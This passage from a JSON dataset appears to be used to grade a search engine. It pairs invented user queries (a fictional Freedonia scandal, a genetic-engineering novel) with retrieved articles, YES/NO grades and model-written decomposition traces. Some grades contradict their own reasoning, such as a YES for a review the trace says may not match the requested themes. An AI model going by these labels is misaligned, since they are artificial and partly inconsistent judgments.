Music\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026.15 \nANALYSIS\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026...17 \nCONCLUSION\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u202618 \nAPPENDIX\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026...19 \nGLOSSARY\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026.25 \nWORKS CITED\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026\u2026..26",
                "model_trace": "Query Decomposition:\n1. {scholarly publications}: This document is an independent study project from the School for International Training, which qualifies as a scholarly publication -> ([1], SATISFIED)\n2. {in-depth analysis of the evolution of traditional and contemporary music styles in West Africa}: The table of contents indicates sections on \"A Brief History of Senegalese Music\" and \"Notating Traditional Music,\" suggesting an in-depth analysis of both traditional and contemporary music styles in Senegal, a part of West Africa -> ([1], SATISFIED)\n3. {reflection of social, political, and religious experiences of the people}: The document's title and the table of contents suggest a cultural perspective on music, which likely includes social, political, and religious contexts, but this is not explicitly clear -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents relevant to the query. YES."
            },
            {
                "grade": "NO",
                "title": "Chapter 1: The Music of Africa \u2013 Listening to The World",
                "url": "https://pressbooks.cuny.edu/apiza/chapter/chapter-2-the-music-of-africa/",
                "published_date": null,
                "text": "1 Chapter 1:  The Music of Africa\t\t\n\t\t\t\t\t\t\t\t\t\t\n\t\t\nThe musical traditions of Africa are numerous and varied. They include a vast range of musical genres, instruments, and styles that represent the various languages, cultures, and faiths found on the continent. The lyrical melodies of the mbira from Southern Africa, the West African rhythms of the djembe and the kora, and the traditional music of the Tuareg people of the Sahara are just a few of the most well-known African musical traditions. In addition to using traditional instruments like drums, xylophones, and stringed instruments, African music is renowned for its use of polyrhythms and call-and-response patterns.\nWatch this video to introduce yourself to African Music:\n \nMELODY\n Melody in African music can vary greatly depending on the specific cultural and musical tradition. In some traditional African music styles, melody is not as prominent as rhythm  and is often subordinate to other musical elements. However, in other African music styles, melody is more prominent and is used as the focus of the music.\nAfrican melodies can be characterized by their use of pentatonic scales, which have five notes per octave, instead of the seven notes used in Western music. This can give African melodies a distinctive sound, with a limited range of notes that can create a sense of tension and release. African melodies often use a lot of ornamentation, such as slides, trills, and vibrato, and can feature elaborate vocal techniques like yodeling, falsetto and glissando.\nIn some traditional African music, melody is created using call-and-response patterns, where a lead vocalist sings a phrase and is then echoed by a chorus. This creates a sense of community and participation in the music, and allows for improvisation and spontaneity within the melody.\nIn summary, African melody can be complex, ornate, and often is intertwined with rhythm and vocalization.\nHARMONY\n Harmony in African music is often characterized by its use of complex polyphony (multiple melodies played at the",
                "model_trace": "Query Decomposition:\n1. [historical and cultural factors that have influenced the development of musical genres in West Africa]: The document mentions various musical traditions and instruments from Africa, including West Africa, but does not provide in-depth historical or cultural analysis -> ([1], UNSATISFIED)\n2. [scholarly publications]: The document is a chapter from an educational resource, but it's not clear if it qualifies as a scholarly publication -> ([2], UNSURE)\n3. [in-depth analysis of the evolution of traditional and contemporary music styles]: The document provides an overview of African music styles and instruments but lacks in-depth analysis of their evolution -> ([1], UNSATISFIED)\n4. [how they reflect the social, political, and religious experiences of the people]: The document does not address how the music reflects social, political, and religious experiences -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {historical and cultural factors that have influenced the development of musical genres in West Africa}, {in-depth analysis of the evolution of traditional and contemporary music styles}, and {how they reflect the social, political, and religious experiences of the people}. Since all these subcomponents are UNSATISFIED, the document is not helpful for the user's request. NO."
            }
        ]
    },
    {
        "query": "A major political scandal has just broken out in the country of Freedonia. The president has been accused of embezzling millions from the national treasury and using the funds to secretly finance a lavish lifestyle. The scandal has dominated the news cycle for weeks, with conflicting reports and accusations flying between the president's supporters and critics. I need to find the latest news articles providing an objective, unbiased overview of the situation and key details of the scandal.",
        "grid_pos": [
            2,
            1
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: News",
        "reasoning_trace": [
            "The queries cover a diverse range of topics, including:\n1. A major political scandal, requiring objective news coverage to understand the key details and competing narratives.\n2. A new science fiction novel release, needing reviews and commentary from respected critics.\n3. Travel information for an upcoming trip to Japan, requiring the latest news on restrictions and protocols.\n4. The launch of a new flagship smartphone, needing expert analysis of its features and performance.\n5. A major environmental disaster, requiring the latest news updates on the scale, response, and potential long-term impacts.\n\nThese queries are specific, detailed, and require a deep understanding of the context to provide satisfactory answers. They test Exa's capabilities in handling complex, nuanced information needs across a variety of domains."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "She Stole $54 Million From Her Town. Then Something Unexpected Happened.",
                "url": "https://www.politico.com/news/magazine/2023/05/12/dixon-illinois-city-fraud-betrayal-00075869",
                "published_date": "2023-05-12",
                "text": "Illustrations by Nikki Ernst for POLITICO with photos by Getty Images, AP, and U.S. Marshals Service; Photos by Jamie Kelter Davis for POLITICO\n\nKathy Gilsinan is a POLITICO Magazine contributing writer based in St. Louis and author of The Helpers: Profiles From the Front Lines of the Pandemic.\n\nDIXON, Illinois \u2014 \u201cYou have not been doing your job,\u201d said a gray-ponytailed man in flannel once he got to the microphone. City Council members and the mayor sat stone-faced on the dais, absorbing this and similar blasts of anger from the public, still grappling with the shock of the crime they\u2019d discovered far too late. \u201cAs far as I\u2019m concerned, you\u2019re all fired. Thank you very much.\u201d Among the scores of citizens of Dixon, Illinois, who had packed the council chambers, lined stairwells, spilled out the front door of the red brick building and across the street into the library parking lot, this was not an uncommon sentiment.\n\nIt was the spring of 2012 and nearly three weeks had passed since police had marched Rita Crundwell, the town\u2019s well-liked comptroller, out the door of that very same building in handcuffs. In that time, the magnitude of her betrayal had grown clearer, and more dumbfounding: At first the feds believed she\u2019d \u201cmisappropriated\u201d $30 million from the coffers of this small town of about 16,000, but now the figure was close to $54 million. The place previously best-known as Ronald Reagan\u2019s childhood home, site of the Petunia Festival and the \nCatfish Capital of Illinois, was now also the home of the largest municipal fraud in United States history.\n\nWhat had so enraged the citizens of Dixon was that until late 2011, no one seemed to notice this theft \u2013 for some 20 years. Dixon\u2019s finances had not only passed annual independent audits but also audit reviews by the state of Illinois. The bank that handled city accounts had never flagged anything amiss. Yes, the city had struggled financially, then-Mayor Jim Burke acknowledged \nat the press conference announcing Crundwell\u2019s arrest in April 2012, but Dixon was ",
                "model_trace": "Query Decomposition:\n1. {latest news articles}: This document is a news article published in May 2023 -> ([1], SATISFIED)\n2. {objective, unbiased overview of the situation}: The document does not provide an overview of the Freedonia scandal but instead focuses on a different case of municipal fraud in Dixon, Illinois -> ([1], UNSATISFIED)\n3. {key details of the scandal}: The document does not mention the Freedonia scandal or provide any details about it -> ([1], UNSATISFIED)\n\nAssessment: The document does not provide any information about the political scandal in Freedonia. It focuses on a different case entirely, thus failing to satisfy the relevant subcomponents. NO."
            },
            {
                "grade": "NO",
                "title": "FIRST READING: The newest Liberal scandal just dropped (and it's a doozy)",
                "url": "https://nationalpost.com/news/first-reading-the-newest-liberal-scandal-just-dropped-and-its-a-doozy",
                "published_date": "2022-06-23",
                "text": "Skip to Content Subscribe FAQ My Account Manage My Subscriptions News National World True Crime Trade Posted Newsletter Archives Mortgages NP Comment Politics Israel at 75 NP News Quiz More Life Horoscopes Shopping Essentials Business Essentials Health Homes Luxury Living Eating & Drinking Style Parenting Travel MoneyWise Canada The Logic Advice Special Sections Sponsored Play for Ontario Culture Books Celebrity Movies Music Theatre Television Sports Sports Betting NHL Baseball Basketball Football Soccer Golf Tennis Puzzles Comics Horoscopes New York Times Crossword Financial Post Classifieds Place an Ad Celebrations Working Shopping This Week's Flyers Remembering Place an Obituary Place an In Memoriam Healthing Driving The GrowthOp Podcasts Newsletters E-Paper Profile Settings Manage Print Subscription / Tax Receipt Manage My Subscriptions Manage My Newsletters Customer Service FAQ News NP Comment Politics Israel at 75 NP News Quiz Puzzles Comics Horoscopes New York Times Crossword Financial Post Remembering Healthing Driving The GrowthOp Podcasts Newsletters E-Paper This advertisement has not loaded yet, but your article continues below. News Canada FIRST READING: The newest Liberal scandal just dropped (and it's a doozy) Think SNC-Lavalin, except this time they were outed by their own inquiry Published Jun 23, 2022 \u2022 6 minute read 640 Comments Brenda Lucki at a 2018 event in Regina where she was announced as RCMP commissioner. Photo by Brandon Harder/ Regina Leader-Post First Reading is a daily newsletter keeping you posted on the travails of Canadian politicos, all curated by the National Post\u2019s own Tristin Hopper. To get an early version sent direct to your inbox every Monday to Thursday at 6:30 p.m. ET (and 9 a.m. on Saturdays), sign up here. This advertisement has not loaded yet, but your article continues below. REGISTER TO UNLOCK MORE ARTICLES Create an account or sign in to continue with your reading experience. Access articles from across Canada with one account Share your thoughts and join the convers",
                "model_trace": "Query Decomposition:\n1. {latest news articles}: The document is a news article, so this subcomponent is met -> ([1], SATISFIED)\n2. {objective, unbiased overview}: The document's title and content suggest it is about a scandal involving the Liberal party in Canada and is written by a specific author for a newsletter, which may imply a certain bias -> ([2], UNSATISFIED)\n3. {key details of the scandal}: The document promises to provide details about a scandal, but it is unclear if it provides key details or just a summary -> ([2], UNSURE)\n4. {related to Freedonia}: The document is about a political scandal in Canada, not Freedonia -> ([0], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {latest news articles}, {objective, unbiased overview}, and {key details of the scandal}. Since {objective, unbiased overview} is unsatisfied and {key details of the scandal} is unsure, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Explained: The seriousness of the crimes Ramaphosa is being accused of",
                "url": "https://briefly.co.za/editorial/explainer/128789-analysis-how-allegations-levelled-president-cyril-ramaphosa/",
                "published_date": "2022-06-10",
                "text": "President Cyril Ramaphosa is in the middle of a political storm following allegations that he was involved in various criminal activities resulting from a theft at his Phala Phala game farm in Limpopo in 2020. Many questions around the allegations have arisen and Briefly News takes a closer look at some of the crimes that were allegedly committed. PAY ATTENTION: Follow Briefly News on Twitter and never miss the hottest topics! Find us at @brieflyza! Money laundering, kidnapping, defeating the ends of justice and abusing state resources are some of the allegations that have been levelled against President Cyril Ramaphosa. The claims were brought forward by former State Security Agency head Arthur Fraser, who lodged a criminal complaint against the sitting president. In an affidavit, Fraser stated that Ramaphosa was robbed of large sums of cash estimated to have been between $4 million and $8 million (R62 million and R124 million) on 9 February 2020 at his Phala Phala game farm in Limpopo. President Cyril Ramaphosa is in the middle of a huge political scandal following allegations that he was involved in various crimes. Image: Gulshan KhanSource: Getty Images Fraser alleged that Ramaphosa did not report the matter to the police, but instead notified the head of the Presidential Protection Unit, Major General Wally Rhode, to find the suspects. Fraser wrote that on the instruction of the president, Rhode tracked down the suspects after kidnapping a domestic worker who was working with the thieves, and then unlawfully interrogated and bribed them for their silence after the money was retrieved. PAY ATTENTION: Click \u201cSee First\u201d under the \u201cFollowing\u201d tab to see Briefly News on your News Feed! The president is now under intense scrutiny following allegations that several crimes were committed in his name. Why is Ramaphosa being accused of money laundering? South African law puts restrictions on how much cash an individual can hold in their household. In addition to having too much cash on hand, Ramaphosa also had foreign",
                "model_trace": "Query Decomposition:\n1. {latest news articles}: The document is from June 2022, which may not be the latest information if the query is being made significantly later -> ([0], UNSURE)\n2. {objective, unbiased overview}: The document provides an overview of allegations against President Cyril Ramaphosa, but it's unclear if it is objective and unbiased -> ([0], UNSURE)\n3. {details of a political scandal in Freedonia}: The document discusses a political scandal involving President Cyril Ramaphosa in South Africa, not Freedonia -> ([1], UNSATISFIED)\n\nAssessment: The key subcomponent is {details of a political scandal in Freedonia}, which is UNSATISFIED. Therefore, the document is not helpful for the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "WANJIGI: Kenya Is Bankrupt But Ruto Won\u2019t Admit It",
                "url": "https://www.youtube.com/watch?v=slpXCsllYa0",
                "published_date": null,
                "text": "Tune in to Spice FM in Nairobi on 94.4 \u2022 Mombasa 87.9 \u2022 Nakuru 96.0 \u2022 Eldoret 96.7 \u2022 Nyeri 90.9 \u2022 Kisumu 102.5 \u2022 Malindi 97.7. Always LIVE on https://spicefm.co.ke\nSpice FM \u00a9 2024\nFOLLOW US ON  Instagram: https://www.instagram.com/spicefmke\nFacebook: https://www.facebook.com/spicefmke \nTwitter: https://www.twitter.com/spicefmke\n| view_count: 244,993 views | short_view_count: 244K views | num_likes: 2.1K | num_subscribers: 146K",
                "model_trace": "Query Decomposition:\n1. {latest news articles}: This document is a YouTube video and not a news article -> ([1], UNSATISFIED)\n2. {objective, unbiased overview of the situation}: The content does not provide any information about the political scandal in Freedonia -> ([1], UNSATISFIED)\n3. {key details of the scandal}: The content is about Kenya's economic situation and not related to the scandal in Freedonia -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy any of the relevant subcomponents. NO."
            },
            {
                "grade": "NO",
                "title": "Money Laundering and Terror Finance",
                "url": "https://home.treasury.gov/system/files/136/Treasury_Study_WoA.pdf",
                "published_date": null,
                "text": "Study of the Facilitation of \nMoney Laundering \nand Terror Finance \nThrough the Trade in \nWorks of Art\nFebruary 2022Department of the Treasury\nStudy of the Facilitation of \nMoney Laundering \nand Terror Finance \nThrough the Trade in \nWorks of ArtStudy of the Facilitation of Money Laundering and Terror Finance Through the Trade in Works of Art i\nTable of Contents\nI. Introduction .............................................................................................................. 2\nII. Definitions and Scoping............................................................................................ 6\ni. Aims and Objectives..................................................................................................................6\nii. Art Definition and Valuation....................................................................................................7\niii. Scoping.....................................................................................................................................8\nIII. How is Art Sold?....................................................................................................... 9\ni. Primary vs. Secondary Market .................................................................................................9\nii. The Art Market ........................................................................................................................10\nIV. Art Market Participants and Their Vulnerabilities ...................................................11\ni. Auction Houses........................................................................................................................12\nii. Galleries ..................................................................................................................................12\niii. Art Fairs ..................................................................................................................................13\niv. Online Marketplaces................................................",
                "model_trace": "Query Decomposition:\n1. {Latest news articles}: This document is a study and not a news article -> ([1], UNSATISFIED)\n2. {Objective, unbiased overview}: This document is an objective study, but it is not related to the specific political scandal in Freedonia -> ([1], UNSATISFIED)\n3. {Details of the political scandal in Freedonia}: This document does not mention the political scandal in Freedonia -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {Latest news articles} and {Objective, unbiased overview}. Since neither of these subcomponents are satisfied, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Why Trump's Truth Social payday won't bail him out of his ...",
                "url": "https://www.politico.com/news/2024/03/22/trump-truth-social-money-financial-troubles-00148456",
                "published_date": null,
                "text": "Investors on Friday signed off on a deal to allow former President Donald Trump\u2019s new venture to be publicly traded on Wall Street. | Jamie Kelter Davis for POLITICO\nDonald Trump is on the verge of gaining what could be a massive windfall from his social media company. But it will likely come too late to save him from the financial peril he\u2019s facing now.\nInvestors on Friday signed off on a deal to allow Trump\u2019s new venture, which operates Truth Social, to be publicly traded on Wall Street, clearing the way for a possible multibillion-dollar payday for the former president.\nBut Trump\u2019s stake will be tied up for much of the year under a so-called lock-up agreement, a normal arrangement for such deals to ensure that insiders don\u2019t bail as soon as a company goes public and push down the stock price.\n \nTrump could try to obtain a waiver from that rule, but even then he wouldn\u2019t be able to sell more than a small fraction of his stake at any given time \u2014 up to 1 percent of the outstanding shares every quarter. And if he eventually does unload a large quantity of stock, the ramifications could be significant, according to investors and others watching the deal. That\u2019s because Trump himself is the heart of the venture, they say, and any sign that his interest is waning could chill investors.\n\u201cIt\u2019s simply trading on Trump\u2019s name,\u201d said Kristi Marvin, founder of SPACInsider, a research firm. \u201cPeople aren\u2019t buying this because they like the fundamentals \u2014 they\u2019re buying this because they like Trump.\u201d\nThe pending approval from investors comes as Trump faces a severe financial crunch: He\u2019s been hit with more than $500 million in civil penalties, not to mention ongoing legal fees as he appeals verdicts against him.\nThe deal will take Trump Media &amp; Technology Group public through a purchase by Digital World Acquisition Corp., a so-called special purpose acquisition company, or SPAC, whose sole aim is to buy a private firm with actual operations and take it public. The imminent merger comes after two years of contentious nego",
                "model_trace": "Query Decomposition:\n1. {latest news articles}: The document does not provide information about the latest news articles -> ([0], UNSURE)\n2. {objective, unbiased overview}: The document is focused on Donald Trump's financial dealings and Truth Social, not on the political scandal in Freedonia -> ([1], UNSATISFIED)\n3. {key details of the scandal}: The document does not mention the scandal in Freedonia at all -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {objective, unbiased overview} and {key details of the scandal}. Since both of these subcomponents are unsatisfied, the document is not helpful for the user's request. NO."
            }
        ]
    },
    {
        "query": "My favorite science fiction author just announced the release of a new novel set in a dystopian future where genetic engineering has become commonplace. The book explores themes of identity, humanity, and the moral implications of manipulating the human genome. I'd like to find some early reviews and commentary on the book from respected science fiction critics and publications.",
        "grid_pos": [
            2,
            1
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: News",
        "reasoning_trace": [
            "The queries cover a diverse range of topics, including:\n1. A major political scandal, requiring objective news coverage to understand the key details and competing narratives.\n2. A new science fiction novel release, needing reviews and commentary from respected critics.\n3. Travel information for an upcoming trip to Japan, requiring the latest news on restrictions and protocols.\n4. The launch of a new flagship smartphone, needing expert analysis of its features and performance.\n5. A major environmental disaster, requiring the latest news updates on the scale, response, and potential long-term impacts.\n\nThese queries are specific, detailed, and require a deep understanding of the context to provide satisfactory answers. They test Exa's capabilities in handling complex, nuanced information needs across a variety of domains."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "The Ones (The Ones, 1) Hardcover \u2013 September 6, 2016",
                "url": "https://www.amazon.com/Ones-Daniel-Sweren-Becker/dp/1250083141",
                "published_date": "2016-09-06",
                "text": "From School Library Journal Gr 9 Up\u2014Cody and James are both gennys\u2014that's the disparaging nickname given to the one percent of the U.S. population who were genetically engineered for superior brains, looks, and athletic skills. Popular sentiment has turned against the social experiment, initiated by the National Institute of Health 18 years earlier. Members of the Equality movement are using the courts and thuggish tactics to bring the Ones down. Along with a law making their very existence illegal, there is talk of a vaccine that would reverse their genetic advantages. Though Cody and James have been girlfriend and boyfriend for several years, they don't see eye to eye on the best course of action. Cody joins the New Weathermen, a rebel group determined to fight for the Ones' rights to be who they were born (or made) to be. James is less likely to rush into things, though he doesn't want to be changed, either. When a peaceful school demonstration gets out of hand, the stakes are raised for everyone. Loose ends in the final pages point clearly to a sequel. The science of the plot is thin, but the chase scenes have vivid moments. Cody loves James but is attracted to Kai, a New Weatherman. A big reveal about Cody's identity doesn't fully add up, but that flaw doesn't seem to have much impact on the plot. VERDICT This middle-of-the-pack offering is suitable for high schools needing more dystopian adventures.\u2014Maggie Knapp, Trinity Valley School, Fort Worth, TX Review \"Chilling and frighteningly real, The Ones leads us down a dark rabbit hole of scientific possibilities, fractured morality, and brutal consequences. It forces the question: If perfection becomes a liability, how far are we willing to go in the pursuit of it -- or to stop it?\"\u2015Kami Garcia, #1 New York Times bestselling coauthor of Beautiful Creatures and author ofThe Lovely Reckless\"Like watching your favorite TV show, The Ones is a thrill ride with a new shock at every turn. You won't believe what happens next, and yet, you should. Because this reality ",
                "model_trace": "Query Decomposition:\n1. {Early reviews and commentary}: The document contains a review from School Library Journal and a blurb from Kami Garcia, a bestselling author, which qualifies as early reviews and commentary -> ([1], SATISFIED)\n2. {Respected science fiction critics and publications}: The School Library Journal is a respected publication, and Kami Garcia is a well-known author, which adds credibility -> ([1], SATISFIED)\n3. {New novel set in a dystopian future where genetic engineering is commonplace}: The book \"The Ones\" fits this description as it discusses a future where genetic engineering has become common and explores related themes -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Review | \u2018Invisible Things\u2019 is a science fiction novel with an eye on the now",
                "url": "https://www.washingtonpost.com/books/2022/06/22/invisible-things-book/",
                "published_date": "2022-06-22",
                "text": "Back in 2011, I reviewed Mat Johnson\u2019s \u201cPym,\u201d a wildly entertaining seriocomic novel that revisits \u2014 and updates \u2014 Edgar Allan Poe\u2019s enigmatic, racially charged fantasy, \u201cThe Narrative of Arthur Gordon Pym of Nantucket.\u201d In it, an all-Black expedition to Antarctica unearths something seemingly impossible in the ice, and about which I will say no more. Just pick up a copy of this very funny, thought-provoking book. Or better still, read Johnson\u2019s latest, \u201cInvisible Things,\u201d again a work of cultural and political satire, but this time framed around an unsettling discovery on Jupiter\u2019s moon Europa. Before we get to that, however, take a close look at the novel\u2019s opening: \u201cAfter months in deep space conducting an intensive field study of social dynamics aboard the cryoship SS Delany, Nalini Jackson, NASAx Post-Doctorate Fellow of Applied Sociology, D.A. Sc., came to an uncomfortable conclusion: She didn\u2019t really like people, on the whole. It was an embarrassing realization given that her life\u2019s work was studying them.\u201d There\u2019s a lot going on in these sentences, but pause for a moment over the S.S. Delany, which will later be joined by a second cryoship called the S.S. Ursula 50. What\u2019s the point of these obvious genuflections to Samuel R. Delany and Ursula K. Le Guin, two of the most admired science fiction writers of our time? A small act of homage, obviously, but Johnson may also be signaling that in this future a person\u2019s race and sexual identity \u2014 prominent concerns of Delany and Le Guin \u2014 are no longer flash points. It takes a while before the reader learns that Nalini is Black and even longer to realize that her colleague ne Causwell is both gay and Black. These facts play virtually no role in the story. What\u2019s really important are economic, theological and political systems and how they shape a society. Though science fiction tends to be set in the future, it\u2019s always fundamentally about the present. As Nalini observes on the novel\u2019s second page, we need space travel as a safeguard against extinction. \u201cIf huma",
                "model_trace": "Query Decomposition:\n1. {Early reviews and commentary}: The document is a review of a science fiction novel -> ([1], SATISFIED)\n2. {From respected science fiction critics and publications}: The review is published by The Washington Post, a respected publication -> ([1], SATISFIED)\n3. {New novel set in a dystopian future where genetic engineering has become commonplace}: The document does not mention these specific details about the novel -> ([0], UNSURE)\n4. {Themes of identity, humanity, and the moral implications of manipulating the human genome}: The document does not mention these specific themes -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {Early reviews and commentary} and {From respected science fiction critics and publications}. Both of these subcomponents are satisfied. YES."
            },
            {
                "grade": "NO",
                "title": "This novel made me think about gender equality in new ways",
                "url": "https://www.gatesnotes.com/The-Power",
                "published_date": "2022-06-06",
                "text": "Future shock\nThis novel made me think about gender equality in new ways\nNaomi Alderman\u2019s novel The Power flips the roles of men and women.\n June 06, 2022\n\nOne thing I love about science fiction is the way it can reflect what is on people\u2019s minds. Growing up in the sixties, I read a ton of sci-fi, and most of the novels involved either robots or space travel and life on other planets. That was the early days of the robotics industry and the time of the space race between the U.S. and the Soviet Union, so it makes sense that authors were dealing with those subjects. Climate change wasn\u2019t something people worried about then, and I can\u2019t think of any science fiction I read or was aware of as a kid that looked at the role of gender in society. Or if it did, I didn\u2019t pick up on the message.\nToday, of course, sci-fi writers are taking on a wider range of subjects. Elsewhere on Gates Notes I\u2019ve written about The Ministry for the Future , which is all about the effects of climate change and efforts to limit the damage.\nAnd at the suggestion of my daughter Jenn, I recently read The Power, by Naomi Alderman, which finds a clever way to look at gender roles. What would the world be like, Alderman asks, if all the women on Earth suddenly developed the ability to discharge massive electric shocks from their bodies? She takes this single idea and explores how it changes the dynamic between men and women, and among women. In doing so, she reveals a lot about how power and gender work today. (The word \u201cpower\u201d in the title has multiple meanings.)\nThe novel switches back and forth between several characters, all but one of them female. For example, Margot is a budding politician with a teenage daughter, Jocelyn, who initially tries to hide her abilities so she doesn\u2019t endanger her mom\u2019s career. You also meet Allie, a young girl who uses her power to escape an abusive foster home and eventually establishes a new type of religion, and Roxy, the daughter of a London crime boss, who\u2019s already tough even before she develops her power.\nE",
                "model_trace": "Query Decomposition:\n1. {new novel set in a dystopian future where genetic engineering has become commonplace}: The document does not mention a novel involving genetic engineering or a dystopian future -> ([0], UNSATISFIED)\n2. {themes of identity, humanity, and the moral implications of manipulating the human genome}: The document does not mention these themes -> ([0], UNSATISFIED)\n3. {early reviews and commentary on the book}: The document is a review of a different book, \"The Power\" by Naomi Alderman, and not the book described in the query -> ([1], UNSATISFIED)\n4. {from respected science fiction critics and publications}: The document is a review by Bill Gates, who is not a science fiction critic -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy any of the relevant subcomponents related to the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "Book about two humans who genetically engineer ...",
                "url": "https://scifi.stackexchange.com/questions/252888/book-about-two-humans-who-genetically-engineer-themselves-to-be-able-to-exist-in",
                "published_date": null,
                "text": "This sounds like it could be the Ousters in Rise of Endymion, by Dan Simmons.   \nThe book was written in 1997 so it would have come before your earliest remembrance. While the book is about a lot of things, one of the more memorable moments for me took place in the last quarter of the book, where the two main characters Raul and Aenea are in conversation about the direction of evolution for humans, which is controlled by the Church.\nIt doesn't have to be just plants. Life adapts . . . birds, men and women in flying machines, you and me in paraglider, people adapted to flight . . .\nThey then encounter an antagonist, Nemes, who has fingers that grow out into blades and seriously injures Raul.\nNemes held up her hands and her fingernails - already pale and long - extended another ten centimeters, flowing into streaming spikes. Names reached dow with those sharpened nails and peeled back the skin and flesh of her right forearm, revealing some sort of metallic endoskeleton that was the color of steel but which looked infinitely sharper.\nAfter this encounter, Raul wakes up with another character, and it feels like they are able to survive in space at first:\nWe were in space. The surrounding pod had simply disappeared. We were floating in space - seemed to be floating in space, except for the presence of air to breathe - and we were far out on a branch of a . . .\nThey then encounter the Ousters, people who have evolved to survive in space, and have certain animal characteristics such as webbed hands, wings, and also exist with other alien races who have evolved to survive in space.\nThese colonists, our ancestors - most traveling in cold sleep deeper than cryogenic fugue - were among the best ARNists, nanotech, and genetic engineers Old Earth System had to offer. Their missions were to find habitable worlds and - in the absence of terraforming technology - to bio-engineer and nanotech the millions of Old Earth life-forms frozen aboard their ships into viable adaptations for those worlds\nI particularly like this descriptio",
                "model_trace": "Query Decomposition:\n1. {New novel by favorite science fiction author}: The document does not mention a new novel by any author -> ([0], UNSURE)\n2. {Set in a dystopian future where genetic engineering is commonplace}: The document discusses a book involving genetic engineering but does not specify a dystopian future or the context of the new novel -> ([2], UNSURE)\n3. {Themes of identity, humanity, and moral implications of manipulating the human genome}: The document does not discuss themes of identity, humanity, or moral implications in detail -> ([2], UNSURE)\n4. {Early reviews and commentary}: The document does not provide any reviews or commentary from respected science fiction critics and publications -> ([1], UNSATISFIED)\n\nAssessment: The document does not provide early reviews or commentary from respected science fiction critics and publications, which is a key subcomponent of the query. The other subcomponents are either not clearly met or are irrelevant to the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "'Designer baby' book trilogy explores the moral dilemmas ...",
                "url": "https://bigthink.com/partnerships/designer-babies-eugene-clark/",
                "published_date": null,
                "text": "Imagine it\u2019s 2045. You start hearing rumors from your well-heeled friends about a mysterious corporation based on an undisclosed island that\u2019s offering an unprecedented service: the ability to genetically design your baby. The baby will have some of your genetics, and some genetics from a sperm or egg donor, selected by you. But the rest of your child\u2019s genetic profile will be engineered by science. These changes will make it impossible for your child to develop genetic diseases. They\u2019ll also allow you to customize your child for dozens of traits, including intelligence level, emotional disposition, sexual orientation, height, skin tone, hair color, and eye color, to name a few.  This raises unsettling philosophical questions for some customers. \u201cWhen does my child stop being my child?\u201d they ask the corporate representatives. These wary customers are reminded of how risky it is to reproduce the old-fashioned way. The Better Genetics Corporation\u2019s motto sums it up: \u201cOnly God plays dice\u2014humans don\u2019t have to.\u201d This is the world described in a new science-fiction series by Eugene Clark titled \u201cGenetic Pressure\u201d, which explores the moral and scientific implications of a future in which designer babies are becoming a major industry. The first book begins with the story of Rachel, a renowned horse breeder who befriends a billionaire client, and soon gets the funding to visit the tropical island on which the Better Genetics Corporation is headquartered.  There, corporate executives walk her through the process of designing a baby\u2014an experience that feels like an uncanny mix between visiting a doctor and designing a luxury car. The series is told from multiple perspectives, serving as a deep dive into a complex moral web that today\u2019s scientists may already be weaving.  [T]he introduction of designer babies would create a labyrinth of philosophical dilemmas that society is only beginning to explore.   Case in point: In 2018, Chinese scientist He Jiankui announced that he had helped create the world\u2019s first genetically engi",
                "model_trace": "Query Decomposition:\n1. {Early reviews and commentary on the book}: This document does not provide reviews or commentary from critics or publications -> ([1], UNSATISFIED)\n2. {Respected science fiction critics and publications}: This document does not mention any respected science fiction critics or publications -> ([0], UNSURE)\n\nAssessment: The document does not satisfy the key subcomponent of providing early reviews and commentary from respected critics or publications. Therefore, it is unhelpful for the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "Change Agent by Daniel Suarez",
                "url": "https://www.goodreads.com/book/show/31396262-change-agent",
                "published_date": null,
